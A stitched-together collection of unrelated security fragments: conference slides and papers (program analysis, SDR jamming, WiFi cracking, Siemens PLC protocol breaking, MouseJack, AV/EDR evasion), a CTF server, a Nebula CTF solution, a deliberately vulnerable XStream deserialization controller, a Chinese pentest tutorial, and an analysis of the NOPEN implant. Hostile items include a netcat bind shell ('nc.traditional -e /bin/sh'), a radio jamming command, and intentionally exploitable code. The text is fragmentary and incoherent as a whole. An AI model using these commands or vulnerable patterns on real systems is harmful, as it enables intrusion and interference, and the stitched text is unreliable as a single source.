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25 Years of Program Analysis Zardus Program Analysis Specification What should hold about the program? Technique How will we achieve the goal? Goal What do we want to achieve regarding the specification? Dawn of Computing 1830s 1842 1842 1947 Manual Program Analysis 1949 Alan Turing. "Checking a large routine." EDSAC Inaugural Conference, 1949. Program Verification Given a program and a specification, show that the program conforms to the specification by creating a formal proof. int main() { unsigned int a, b, c; scanf("%d %d %d", &a, &b, &c); if (a + b == c && c - b != a) crash(); } Specification: The program should not crash. int main() { unsigned int a, b, c; scanf("%d %d %d", &a, &b, &c); if (a+b+c != 0 && pow(a, 3) + pow(b, 3) == pow(c, 3)) crash(); } Specification: The program should not crash. Program Testing Given a program and a specification, show that the program does not conform to the specification by providing a counterexample. int main() { unsigned int a, b, c; scanf("%d %d %d", &a, &b, &c); if (a+b+c != 0 && pow(a, 2) + pow(b, 2) == pow(c, 2)) crash(); } Specification: The program should not crash. Counterexample: a == 3 b == 4 c == 5 1950s Program testing via "Trash Decks" http://secretsofconsulting.blogspot.com/2017/02/fuzz-testing-and-fuzz-history.html Specification What should hold about the program? Logical Properties Absence of Crashes Type Safety Efficiency Memory Safety Information Disclosure Authentication Technique How will we achieve the goal? Manual Symbolic Execution Abstract Interpretation Fuzzing Goal What do we want to achieve regarding the specification? Verification Testing Transformation Need for Automated Techniques 1952 Grace Hopper. "The Education of a Computer." Proceedings of the 1952 ACM national meeting, 1952. Specification What should hold about the program? Logical Properties Absence of Crashes Type Safety Efficiency Memory Safety Information Disclosure Authentication Technique How will we achieve the goal? Manual Symboli


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import os,random,sys,string from hashlib import sha256 import SocketServer import CompactFIPS202 from flag import FLAG class Task(SocketServer.BaseRequestHandler): def proof_of_work(self): proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(20)]) digest = sha256(proof).hexdigest() self.request.send("sha256(XXXX+%s) == %s\n" % (proof[4:],digest)) self.request.send('Give me XXXX:') x = self.request.recv(10) x = x.strip() if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest: return False return True def recvhex(self, sz): try: r = sz res = '' while r>0: res += self.request.recv(r) if res.endswith('\n'): r = 0 else: r = sz - len(res) res = res.strip() res = res.decode('hex') except: res = '' return res def dosend(self, msg): try: self.request.sendall(msg) except: pass def dohash(self, msg): return CompactFIPS202.Keccak(1552, 48, bytearray(msg), 0x06, 32) def handle(self): if not self.proof_of_work(): return self.request.settimeout(3) self.dosend("first message(hex): ") msg0 = self.recvhex(8000) self.dosend("second message(hex): ") msg1 = self.recvhex(8000) if msg0!=msg1 and self.dohash(msg0) == self.dohash(msg1): self.dosend("%s\n" % FLAG) else: self.dosend(">.<\n") self.request.close() class ForkingServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer): pass if __name__ == "__main__": HOST, PORT = '0.0.0.0', 10001 print HOST print PORT server = ForkingServer((HOST, PORT), Task) server.allow_reuse_address = True server.serve_forever()


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数据安全能力建设实施指南 V1.0 (征求意见稿) ! ! ! ! ! ! ! ! ! ! ! ! ! 数据安全能力成熟度模型(DSMM)配套文档 2018-9-29! ! ! ! 2! 目 录 前 言 ................................................................................ 3! 1 范围 ................................................................................ 4! 2 规范性引用文件 ...................................................................... 4! 3 术语和定义 .......................................................................... 4! 4 缩略语 .............................................................................. 5! 5 数据安全能力建设框架 ................................................................ 5! 5.1 数据安全与现有安全体系融合 ...................................................... 5! 5.2 数据安全能力建设框架 ............................................................ 5! 5.3 能力建设框架图说明 .............................................................. 6! 6 数据安全组织建设 .................................................................... 7! 6.1 组织架构设计 .................................................................... 7! 6.2 协同部门数据安全职能 ............................................................ 9! 7 数据安全人员能力 ................................................................... 11! 7.1 数据安全管理能力 ............................................................... 11! 7.2 数据安全运营能力 ............................................................... 12! 7.3 数据安全技术能力 ............................................................... 12! 7.4 数据安全合规能力 ............................................................... 13! 7.5 人员能力与组织架构的映射 ....................................................... 13! 8 数据安全制度流程 ................................................................... 14! 8.1 制度体系架构设计 ............................................................... 14! 8.2 制度体系架构说明 ............................................................... 16! 9 数据安全技术工具 ................................................................... 17! 9.1 技术工具架构设计 ............................................................... 17! 9.2 技术工具架构说明


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## Android Dynamic Analysis 传送门[門](https://github.com/secmobi/wiki.secmobi.com/) [四个参数搞定安卓驱动fuzzing](http://www.freebuf.com/tools/92638.html) [DIVA Android - Damn Insecure and vulnerable App for Android](https://github.com/payatu/diva-android/) [2016年Android手机平台最佳黑客应用汇总](http://www.easyaq.org/info/infoLink?id=1848639717) [移动安全之Android安全检测工具大全](https://www.92aq.com/2016/01/26/android-app-sec-tools.html) [2016 黑客必备的Android应用](http://www.freebuf.com/tools/95020.html) [ADBI - Android Native 层动态二进制插桩工具](https://github.com/samsung/adbi) [ARTDroid: Simple and easy to use library to intercept virtual-method calls under the Android ART runtime.](https://github.com/vaioco/art-hooking-vtable) [Drozer 新增了一个用于 Fuzz Android 应用的脚本](https://github.com/mwrlabs/drozer-modules/blob/master/intents/fuzzinozer.py) [360加固静态脱壳](http://bbs.pediy.com/showthread.php?t=207856) [Marvin: 一个用于在 Android APP 中寻找 Bugs 的系统支持动静态分析](https://github.com/programa-stic/marvin-django) [apkr高级andorid恶意软件分析工具](https://github.com/zerjioang/apkr) [新手教程如何使用Burpsuite抓取手机APP的HTTPS数据](http://www.freebuf.com/articles/terminal/113940.html) [Android逆向之旅静态方式破解微信获取聊天记录和通讯录信息](http://blog.csdn.net/jiangwei0910410003/article/details/52238891) [Android Webview 远程代码执行之GetClassLoader分析](http://www.droidsec.cn/android-webview-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B9%8Bgetclassloader) [如何在暗网中收集公开情报资源上集利用OnionScan搭建属于自己的暗网搜索引擎](http://bobao.360.cn/learning/detail/2952.html) [如何在暗网中收集公开情报资源下集PythonShodanSSH密钥](http://bobao.360.cn/learning/detail/2955.html) [26款优秀的Android逆向工程工具](http://www.freebuf.com/sectool/111532.html) [Android系统篇之----免root实现Hook系统服务拦截方法](http://blog.csdn.net/jiangwei0910410003/article/details/52523679) [CuckooDroid - Android 恶意软件自动化分析框架](http://www.darknet.org.uk/2016/08/cuckoodroid-automated-android-malware-analysis/) [JEB 2.0.6.201508252211 破解版](http://www.52pojie.cn/thread-518338-1-1.html) [TaintART -通过修改编译器(dex2oat)来实现数据流分析的系统](http://securitygossip.com/blog/2016/09/27/2016-09-27) [用 A


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Intercepting, modifying, and generating wireless signals with SDR Caleb Madrigal (Public) handle: metem Website: http://calebmadrigal.com/ Twitter: @caleb_madrigal Ham call sign: w0hak About Caleb: Programming for about 18 years. I most enjoy hacking and mathy stuff (Signal processing, Machine Learning, AI) In general, I ﬁnd it interesting to hear the "unhearable", see the "unseeable" - to tune in to the subtleties around us. In the computer world, everything is black and white, but the real world is fuzzy and colorful. Ontologically, I think the best way to describe myself is as a "Christian Mystic". I also love Art - Literature, Music, Artsy movies, etc. I'm also an occasional and unaccomplished poet. Possible titles for this talk: Intercepting, modifying, and generating wireless signals with SDR How digital data is transmitted wirelessly Controlling wireless IoT devices via crafted radio signals How the OSI Physical layer works and how to attack it Background on what led me to doing this stuff - came in from 3 directions: IoT Music theory -> Sound analysis Wireless hacking We'll be exploring the Physical layer Harness the invisible energy all around us! IoT: +5000% attack damage to all wireless hacking skills Things that work through radio: "Radio" (AM, FM) TV Cell phones Wiﬁ Bluetooth GPS Wireless security systems Any form of Wireless IoT device SCADA systems / large industrial equipment Software-Deﬁned Radio (SDR) HackRF One LimeSDR RTL-SDR In the Wizard/Sorceress metaphor, this is your wand (along with the antenna, of course). Sidenote: when using radios, your body can actually become a part of the antenna, which is very like magical lore - THE ENERGY IS FLOWING THROUGH YOU! Demos Unlocking Car (video) https://www.youtube.com/watch?v=Q-OlgVLHIDs Jamming (live) ./jam_narrow.py 440440000 Controlling outlet (live) python3 ask_modulate_radio_signal.py -c raw_data/outlet_c2_on.json -o /tmp/radio_signal.pcm ./transmit_signal.py -f /tmp/radio_signal.pcm -t 315000000


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# Episode 2: Challenge 3 ## Description > Welcome to the shell. See if you can leave. socat FILE:`tty`,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337 > > Hint: How can you ask the shell for which commands are available? ## Solution Let's connect to the server: ```console (user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP002/Challenge_03] $ socat FILE:`tty`,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337 == proof-of-work: disabled == bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell ___ _ _ ____ _ _ _ / _ \ _ _ __ _ _ __ __ _ _ __ | |_ (_) _ __ ___ / ___| | |__ ___ | || | | | | || | | | / _` || `__|/ _` || `_ \ | __|| || `_ \ / _ \ \___ \ | `_ \ / _ \| || | | |_| || |_| || (_| || | | (_| || | | || |_ | || | | || __/ ___) || | | || __/| || | \__\_\ \__,_| \__,_||_| \__,_||_| |_| \__||_||_| |_| \___| |____/ |_| |_| \___||_||_| The D&R team has detected some suspicious activity on your account and has quarantined you while they investigate 942 days stuck at ~ ~ $ ls command blocked: ls check completions to see available commands ~ $ echo Test command blocked: echo Test check completions to see available commands ~ $ pwd command blocked: pwd check completions to see available commands ~ $ ``` Looks like a restricted shell with many blocked commands. As suggested, we'll try the completions to see the available commands: ```console check completions to see available commands ~ $ ! enable quarantine_protocol . esac read : eval readarray [ exec readonly [[ exit return ]] export select _dnr_toolkit false set alias fc shift bg fg shopt bind fi source break for suspend builtin function test caller getopts then case hash time cd help times command history trap compgen if true complete in type compopt jobs typeset continue kill ulimit coproc let umask declare local unalias dirs logout unset disown mapfile until do popd wait done printf while echo pushd { elif pwd } else quarantine ``` Well, actuall


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package org.vulhub.xstreamsample; import com.thoughtworks.xstream.XStream; import org.springframework.web.bind.annotation.*; @RestController public class HelloController { @GetMapping(value = "/") public String hello() { return "hello, input your information please."; } @PostMapping(value = "/") public String read(@RequestBody String data) { XStream xs = new XStream(); xs.processAnnotations(User.class); User user = (User) xs.fromXML(data); return "My name is " + user.getName() + ", I am " + user.getAge().toString() + " years old."; } }


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"Hacking Web Apps"  Brent White / @brentwdesign Abstract: Understanding how to exploit vulnerabilities within a web application is beneficial to both breakers and fixers. It is a core skill for penetration testers, and it provides significant insight into secure coding practices for developers. This talk covers all aspects of executing a web application penetration test. We will start with the discovery phase utilizing OSINT sources; such as, search engines, sub-domain brute-forcing and other methods to help you get a good idea of targets "footprint", all the way to fuzzing parameters to find potential SQL injection vulnerabilities. I will also discuss several of the tools and techniques that I commonly use. After this talk, you should have a good understanding of what is needed to break into web applications like a professional. Detailed Outline: Before you can start tearing into a web application for a customer, there are a few things that need to happen. There are rules and goals that need to be established for the assessment. This generally happens during the scoping and kick-off discussions. Since scoping and contracts make me sleepy, I will omit the details. The kick-off call is where the rubber starts hitting the road, and exists to bridge the gap between the legal contract and the final report using the Rules of Engagement document, also known as the RoE. The RoE answers the questions of who, when and what and identifies the boundaries between what is and is not allowed during the actual assessment. After the contents of this document have been agreed upon, you are good to go on executing the assessment. === Evidence Gathering === At the end of every assessment, a report is expected. The more evidence you collect and the better its organized can really help shorten the time it takes to write the report as well as improve upon the value of it. Before I start anything, I set up documents to keep evidence, notes and progress. Here are a few tips:  KeepNote is m


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大力出奇迹の WiFi Hacking 杨 哲 (Longas) ZerOne无线安全研究组织 ZerOne WirelessSec Research SDR LTE-FDD RFID WiFi 干扰 GSM APPLICATION SPEED INTERNET 能源 BLUETOOTH ZigBee OpenBSC 轨道交通 RESOURCE LTE-FDD Wireless GPS Infrared NO 教育行业 车联网 GSM-R LTE-HDD 民航 OpenBTS 电力行业 NFC 卫星通信 无线电 HackRF 交通 物联网 有源RFID SOCIAL 无线电 BLOG 干扰 医疗 APPLICATION SPEED INTERNET NEWS SECRET HackRF 移动互联网 轨道交通 RESOURCE Wireless GPS Infrared YES NO 教育行业 车联网 GSM-R LTE-HDD 民航 OpenBTS 电力行业 NFC 卫星通信 无线电 运营商 交通 物联网 有源RFID IOT BLOG 卫星通信 干扰 INTERNET 能源 NO TELEVISION TIME IOT CLOCK DIGITAL ADVERT SMART PHONE EDUCATION TALENT PHONE LTE-FDD 干扰 SPEED INTERNET 能源 Infrared 教育行业 GSM-R 卫星通信 物联网 干扰 医疗 SPEED INTERNET 能源 GPS Infrared YES NO 教育行业 车联网 GSM-R LTE-HDD 电力行业 交通 物联网 有源RFID IOT TALENT Wireless CLOCK YES NO 车联网 NFC 有源RFID BLOG 卫星通信 无线电 干扰 INTERNET DIGITAL INFORMATION SECRET 铁路 KNOWLEDGE LTE-FDD 干扰 SPEED INTERNET 能源 Infrared 教育行业 GSM-R 卫星通信 物联网 干扰 医疗 SPEED INTERNET 能源 GPS Infrared YES NO DEVELOPMENT 车联网 GSM-R LTE-HDD 电力行业 交通 物联网 有源RFID IOT TALENT Wireless CLOCK YES NO 车联网 NFC 有源RFID BLOG 卫星通信 无线电 干扰 INTERNET DIGITAL INFORMATION SECRET 铁路 KNOWLEDGE LTE-FDD 教育行业 GSM-R TALENT Wireless CLOCK YES NO 车联网 NFC 有源RFID BLOG 卫星通信 无线电 干扰 INTERNET DIGITAL INFORMATION SECRET INTERNET 车联网 交通 LTE-FDD LANGUAGE INTERFACE HackRF  Crack WPA  Pentest over WiFi  Fake AP  Air-Capture  MITM  WAP Tunnel  WAPJack  WIDS / WIPS/Hotspot  Deauth/Auth/Disco  WiFiphisher 12只 猴子 空口监听 FakeAP 内网渗透 WAPJack MITM Deauth 85% 案例 聚焦 我去 WPA 密码 !!!!!  Dictionary  WPA PMK Hash  WPS Online / Offline  Distributed  GPU  Cloud Crack #主流 用户 云平台 运算节点 运算结果返回 上传 握手包 指派 任务 {反物质}无线安全评估云平台 新平台 发布 初始 界面 300 40,000,000,000,000 组合 3,000 样本 日夜 3 公测 几个 数字 TEXTTEXT 6666688888 APPLICATION SPEED windgame susan1003 8888899999 a=b?c:d; 110110110 wang1104 wine888999 46958820 34238817 ECONOMIC 19830405 12345679 123454321 TOWERFUL 46958820 GREENLEAF FOLLOWME zxcvbnm67989989 52331314 11759000 wangkang 62518915 62518913 xa_123456! 1234554321 zhangjianguo 82729336 87654321 88776655 TEXT RISK APPLICATIO


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任意文件下载击溃跳板站点 这次的实战渗透过程信息收集是很重要的一个阶段尽可能收集目标网站或目标主机尽量多的信 息信息收集的方式 主动信息收集是通过直接访问网站主动获取信息对IP开放的端口CMS中间件敏感目 录敏感文件脚本类型JS里的域名操作系统扫描分析 被动信息收集是基于公开的渠道在不与目标系统直接交互的情况下获取信息比如搜索引擎 获取网站的URI获取IP绑定的域名C段域名whois信息证书对应的其他资产做扩展信息收 集 常用的几个小技巧 1利用windows和linux区分大小写的区别在访问的时候尝试把路径部分改成大写 https://www.aaa.com/upload/index.php改成www.aaa.com/upload/index.PHP 页面路径还正常访问就是Windows系统报错就是Linux系统 因为Windows系统对文件名称大小写不敏感而Linux对文件名称大小写会有区分 2chrome的F12扩展查看网络 > header > Server部分例如Server: nginx/1.20.1可以知道是 nginx 3判断网站是php Jsp Asp Aspx可以根据网站URL来判断也可以利用google语法辅助 判断site:XXX filetype:asp|php|jsp|jspx|aspx 端口扫描 HTTP端口快速扫描使用masscan扫描nmap服务识别常见端口 21:"FTP", 22:"ssh", 25:"SMTP", 80:"web", 139:"Samba", 143:"IMAP", 161:"SNMP", 389:"Ldap目录访问协议", 443:"https", 445:"Microsoft SMB", 465:"SMTP SSL", 513:"rlogin", 546:"DHCP failover", 873:"rsync", 993:"IMAPS", 1080:"socks proxy", 1194:"OpenVPN", 1352:"Lotus domino", 1433:"MSSQL", 1521:"Oracle default", 2049:"Nfs", 2181:"ZooKeeper", 2375:"Docker", 3306:"MySQL", 3389:"Remote Desktop", 4440:"rundeck", 4848:"GlassFish控制台", 5000:"SysBase/DB2", 5432:"PostgreSQL", 5632:"pcanywhere", 5900:"vnc", 5984:"Apache CouchDB", 6082:"varnish", 6984:"Apache CouchDB SSL", 6379:"Redis", 7001:"weblogic_Server isten port", 7002:"Server Listen SSL Port", 8069:"zabbix", 8080:"web,jboss,tomcat etc..", 8089:"Jboss/Tomcat/Resin", 8083:"influxDB Web admin", 8086:"influxdb HTTP API", 8095:"Atlassian Crowd", 8161:"activemq", 8888:"Jupyter Notebook", 8983:"solr", 9000:"fastcgi", 9043:"VMware ESXI vsphere", 9080:"websphere http", 9083:"Hive default", 9090:"websphere admin", 9200:"Elsaticsearch http", 9300:"Elsaticsearch Node1", 10000:"HiveServer2", 11211:"memcached", 27017:"MongoDB", 28017:"MongoDB web page" 50000:"SAP command excute", 50060:"hadoop web", 50070:"hadoop default", 60000:"HBase Master", 60010:"hbase.master.info.bindAddress", 任意文件下载 敏感信息主要是后台目录备份文件上传目录路径安装页面以及信息泄露phpinfo文件管理 组件phpmyadmin相关的信息搜集敏感信息借助google搜索引擎的hacking语法能搜索很多有 用的线索 这次实操是在一个asp页面里发现了PDF文件下载然后改成相对路径可以下载任意ASP文件 目录扫描得到管理员后台URI admin


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The spear to break the security wall of S7CommPlus Cheng Lei, Li Donghong, Ma Liang NS-Focus Abstract. Siemens PLCs was widely used in industrial control system(ICS). The new version of Siemens PLCs like S7-1500 and S7-1200v4.0 used an encrypted protocol names S7CommPlus to prevent replay attacks. In this paper, based on reverse debugging techniques, we will demonstrate the encryption algorithms of S7CommPlus and program a MFC to control the Siemens PLC. Finally, some more security protective measures have been proposed according to our research. 1. Introduction. Industrial Control System involves national level critical infrastructure and requires highly Security. In the past few years, attacks against industrial control systems (ICS) have increased year over year. Stuxnet in 2010 exploited the insecurity of the S7Comm protocol, the communication protocol used between Siemens Simatic S7 PLCs to cause serious damage in nuclear power facilities. After the exposure of Stuxnet, Siemens has implemented some security reinforcements into the S7Comm protocol. The current S7CommPlus protocol implementing encryption has been used in S7-1200 V4.0 and above, as well as S7-1500, to prevent attackers from controlling and damaging the PLC devices. Is the current S7CommPlus a real high security protocol? This talk will demonstrate a spear that can break the security wall of the S7CommPlus protocol. First, we use software like Wireshark to analyze the communications between the Siemens TIA Portal and PLC devices. Then, using reverse debugging software like WinDbg and IDA we can break the encryption in the S7CommPlus protocol. Finally, we write a MFC program which can control the start and the stop of the PLC, as well as value changes of PLCs digital and analog inputs & outputs. This paper is based on the Siemens SIMATIC S7-1200v4.1. 2. Related Work At Black Hat USA 2011, Dillon Beresford demonstrated how to use reconnaissance, fingerprinting, replay attacks, authentication bypass m


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MouseJack and Beyond: Keystroke Sniﬃng and Injection Vulnerabilities in 2.4GHz Wireless Mice and Keyboards Marc Newlin marc@bastille.net @marcnewlin July 8, 2016 v0.1 Abstract What if your wireless mouse or keyboard was an eective attack vector? Research reveals this to be the case for non-Bluetooth wireless mice and keyboards from Logitech, Microsoft, Dell, Lenovo, Hewlett-Packard, Gigabyte, Amazon, Toshiba, GE, Anker, RadioShack, Kensington, EagleTec, Insignia, ShhhMouse, and HDE. A total of 16 vulnerabilities were identiﬁed and disclosed to the aected vendors per our disclosure pol- icy[1]. The vulnerabilities enable keystroke sniﬃng, keystroke injection, forced device pairing, malicious macro programming, and denial of service. This document details the research process and results, reproduction steps for each vulnerability, vendor timelines and responses, and mitigation options where available. Most of the aected vendors are still in the disclosure period at the time of this writing, and as such, vendor responses are not included in this document. An updated white paper and accompanying slide deck with vendor response and mitigation details will be available when this material is presented at DEF CON. 1 Contents 1 Introduction 4 2 Overview of Vulnerabilities 4 3 Transceivers 5 3.1 Nordic Semiconductor nRF24L . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 3.2 Texas Instruments CC254X . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 3.3 MOSART Semiconductor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.4 Signia SGN6210 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.5 GE Mystery Transceiver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 4 Research Process 7 4.1 Software Deﬁned Radio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .


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# Level03 #### About Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes. To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03. #### Source code There is no source code available for this level ``` cat /home/flag03/writeable.sh #!/bin/sh for i in /home/flag03/writeable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done ``` #### Solutions ``` level03@nebula:~$ cat ./test.sh #!/bin/sh /bin/getflag >> /tmp/a.out level03@nebula:~$ cat ./test1.sh #!/bin/sh nc.traditional -v -e /bin/sh -l -p 4444 root@nebula:~#: ls /var/spool/cron/crontabs flag03 root ``` #### Recommend Linux 计划任务/日志/优先级 * 一次性定时任务 at, batch, atq, atrm atd ----> at ---- /var/spool/cron/atjobs ---- /var/spool/cron/atspool ---- /proc/loadavg ---- /var/run/utmp ---- /etc/at.allow ---- /etc/at.deny * 循环定时任务 cron ---- crontab ---- /etc/crontab ---- /etc/cron.allow ---- /etc/cron.deny ---- /var/spool/cron/crontabs/* ---- /etc/rc.local ``` level03@nebula:~$ cat /etc/rc.local #!/bin/bash start-stop-daemon -b -c flag12 -S /home/flag12/flag12.lua -x `which lua` start-stop-daemon -b -c flag17 -S /home/flag17/flag17.py -x `which python` /usr/sbin/thttpd -C /home/flag07/thttpd.conf /usr/sbin/thttpd -C /home/flag16/thttpd.conf * * * * * command to be executed - - - - - | | | | | | | | | ----- Day of week (0 - 7) (Sunday=0 or 7) | | | ------- Month (1 - 12) | | --------- Day of month (1 - 31) | ----------- Hour (0 - 23) ------------- Minute (0 - 59) * ---- 代表任何时刻  ---- 1510 代表第1第5第10 - ---- 1-24代表1到24 /n ---- 间隔为n ```


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ipcalc === 简单的IP地址计算器 ## 补充说明 **ipcalc命令** 是一个简单的ip地址计算器可以完成简单的IP地址计算任务 ### 语法 ```shell ipcalc(选项) ``` ### 选项 ```shell -b由给定的IP地址和网络掩码计算出广播地址 -h显示给定UP地址所对应的主机名 -m由给定的IP地址计算器网络掩码 -p显示给定的掩码或IP地址的前缀 -n由给定的IP地址和网络掩码计算网络地址 -s安静模式 --help显示帮助信息 ``` ### 实例 ```shell [root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0 PREFIX=24 [root@localhost ~]# ipcalc -n 192.168.2.1 255.255.255.0 NETWORK=192.168.2.0 [root@localhost ~]# ipcalc -h 127.0.0.1 hostname=localhost.localdomain [root@localhost ~]# ipcalc -m 192.168.2.1 NETMASK=255.255.255.0 [root@localhost ~]# ipcalc -pnbm 192.168.2.1 255.255.255.0 NETMASK=255.255.255.0 PREFIX=24 BROADCAST=192.168.2.255 NETWORK=192.168.2.0 ```


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Equation NOPEN Equation NOPEN 概述 基本信息 运行方法 本地环境变量 本地客户端命令 keepalive autopilot norc 远程目录命令 find cd ls 远程文件操作 get put cat upload grep mailgrep cksum chili 远程网络穿透 tunnel irtun istun jackpop nrtun nstun rawsend rtun rutun stun sutun scan vscan 远程网络命令 icmptime ifconfig nslookup ping trace 远程服务端命令 pid listen call burn 远程服务端常用命令 elevate ps shell time status getenv setenv gs 操作分析 服务端反向连接到客户端 指定服务端口的正向连接 命令脚本的批量执行 autopot incision 隧道的综合利用 elevate 对比分析 会话密钥生成 scaner ourtn scripme 总结 参考 概述 作者根据EQGRP公开资料进行研究分析研究相关工具的开发实现和攻击防御思路 NOPEN木马工具为针对Unix/Linux系统的远程控制工具主要用于文件窃取系统提权网络通信重 定向以及查看目标设备信息等是一个典型的C2程序 NOPEN木马工具编码技术复杂功能全面隐蔽性强适配多种处理器架构和操作系统并且采用了 插件式结构可以与其他网络武器或攻击工具进行交互和协作 NOPEN木马工具包含客户端noclient和服务端noserver两部分客户端会采取发送激活包的方式与 服务端建立连接使用RSA算法进行秘钥协商使用RC6算法加密通信流量 基本信息 这里分析的代码来自github上的泄露在Linux\bin\目录下 对实际样本感兴趣的可以根据cncert的文章进行抓取和分析 运行方法 这里的测试环境有两台机器一台是centos4运行noserverIP地址是172.19.2.11另一台是 centos5运行noclientIP地址是172.19.2.13. 启动服务端 md5sum noclient-3.3.2.3-linux-i386 noserver-server 1d5bd438d76dd09edb91bbe81fc8e4f0 noclient-3.3.2.3-linux-i386 ee38509ddc4bef24d387c511c577895a noserver-server ./noserver-server [root@centos4x86 bvp47]# ps aux | grep no root 5107 0.0 0.0 1784 332 pts/2 S 05:15 0:00 ./noserver-server [root@centos4x86 bvp47]# lsof -p 5107 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME noserver- 5107 root cwd DIR 253,0 4096 1109807 /root/bvp47 noserver- 5107 root rtd DIR 253,0 4096 2 / noserver- 5107 root txt REG 253,0 158686 1109895 /root/bvp47/noserver- server noserver- 5107 root mem REG 253,0 112212 898616 /lib/ld-2.3.4.so 这样服务端启动完毕运行在32754端口 启动客户端 noserver- 5107 root mem REG 253,0 1547588 898617 /lib/tls/libc-2.3.4.so noserver- 5107 root mem REG 253,0 81140 897717 /lib/libresolv-2.3.4.so noserver- 5107 root 0u CHR 1,3 2108 /dev/null noserver- 5107 root 1u CHR 1,3 2108 /dev/null noserver- 5107 root 2u CHR 1,3 2108 /dev/null noserver- 5107 root 3u IPv4 75542 TCP *:32754 (LISTEN) ./noclient-3.3.2.3-linux-i386 172.19.2.11 NOPEN! v3.3.2.3 sh: scanner: command not found sh: ourtn: com


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Portable Privacy Portable Privacy 2006: Darfur, Sudan 1989: Beijing, China 2005: United States of America Portable Privacy Alias: LadyAda Name: Limor Fried Crime: Felony Assault w/ Banana Location: New York, NY Hangouts: Adafruit Industries Notes: Gang member of cow worshipping death cult Last Seen: In the Company of Kevin Rose Portable Privacy 3 Golden Principles  Portability  Elegance  Trustworthiness Portable Privacy Portability  Run Locally  Run Remotely Portable Privacy Trustworthiness  Bypassed by Trust  Source Code  License  Fail Securely  Imputed Protection Portable Privacy Elegance (HCI and Beyond) Who Cares? Everyone Portable Privacy Elegance (HCI and Beyond)  Appealing  Intuitive  Easy to Use  Self  Contained  Informative Status  Transparency Portable Privacy Digital Risk Vectors  Communications  Data Storage  Transactions  Computing Environment Portable Privacy Communications  General  Web Browsing  Email  Chat / Messaging  VoIP Portable Privacy General  Janus VM  xB VPN Portable Privacy Web Browsing  Anonymizer  xB Browser - Tor Network - XeroBank Network  OperaTor  Honorable Mentions  Dishonorable Mentions Portable Privacy Email Clients  Thunderbird Portable  MobilityEmail  xB Mail Portable Privacy Messaging  IRC  Scatterchat  Psi  Miranda + OTR  Pidgin + OTR Portable Privacy VoIP  Portable Skype  myJabber  Vonage USB Portable Privacy Data Storage Portable Privacy Transactions  Risky Digital Currencies  Anonymous Currencies - Loom - eCache Portable Privacy Computing Environments  RockAte LiveCD  Incognito LiveCD  xB Machine Portable Privacy xB Machine  Runs on VMWare & QEMU  Private Network Info Only  Firewalled to Interface  Hardening  Clients: Tor, Jap, xB SSH, xB VPN, xB Onion Portable Privacy xB Machine  Usability Features - Firefox - Thunderbird - GPG / Enigmail - Jabber - Word Processor - Image Viewer - File Manager - Autoconfig of Anonymity Clients - Remote Encrypted Filesystem Mounts Portable Privacy xB Machine  Usability Features - Local User


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2021$ Skrull$Like$A$King$ 從重兵看守的天眼防線殺出重圍 aaaddress1@chroot.org April&21,&2021 2 Sheng-Hao$Ma$ Threat&Researcher&at&TXOne&Networks  Core$member$of&CHROOT&Security&Group&  Over$10-year$experience$in&reverse&engineering,&Windows& vulnerability,&and&Intel&8086.&  Spoke$at&S&P,&BlackHat,&DEFCON,&HITB,&HITCON,&VXCON,& ROOTCON,&CYBERSEC,&SITCON,&etc.&  Instructor$of&Ministry&of&National&Defense,&Ministry&of& Education,&HITCON,&and&etc.&  Publication$Windows(APT(Warfare(惡意程式前線戰術指南 Background April&21,&2021 Background 4 April&21,&2021 Background 5 April&21,&2021 Background 6 April&21,&2021 Background 7 April&21,&2021 AntiVirus$Design  Malware&Detection&  Signature-Patterns&Scanning&e.g.&YARA&  ML:&Heuristic-Detection&e.g.&SVM&  Virtual&Machine&(VM)&  When&To&Scan?&  Regular&Schedule&Service&  Minifilter&&&PsSetCreateProcessNotifyRoutine&  Automatic&Sample&Submission& 8 April&21,&2021 Challenge 9  Malware&Detection&  Signature-Patterns&Scanning&e.g.&YARA&  ML:&Heuristic-Detection&e.g.&SVM&  Virtual&Machine&(VM)&  When&To&Scan?&  Regular&Schedule&Service&  Minifilter&&&PsSetCreateProcessNotifyRoutine&  Automatic&Sample&Submission& inject&malware&into&trusted&system&processes,& without&triggering&AV/EDR? April&21,&2021 Challenge 10  Malware&Detection&  Signature-Patterns&Scanning&e.g.&YARA&  ML:&Heuristic-Detection&e.g.&SVM&  Virtual&Machine&(VM)&  When&To&Scan?&  Regular&Schedule&Service&  Minifilter&&&PsSetCreateProcessNotifyRoutine&  Automatic&Sample&Submission& our&payload&shouldn't&be&scanned April&21,&2021 Challenge 11  Malware&Detection&  Signature-Patterns&Scanning&e.g.&YARA&  ML:&Heuristic-Detection&e.g.&SVM&  Virtual&Machine&(VM)&  When&To&Scan?&  Regular&Schedule&Service&  Minifilter&&&PsSetCreateProcessNotifyRoutine&  Automatic&Sample&Submission& can&we&protect&our&malware&against&reversing,& even&if&the&binary&got&captured&in&hand? April&21,&2021 Skynet$by$AV/EDR 12  Malware&Detection&  Signature-Patterns&Scanning&e.g.&YARA&  ML:&Heuristic-Detection&e.g.&SVM&  Virt


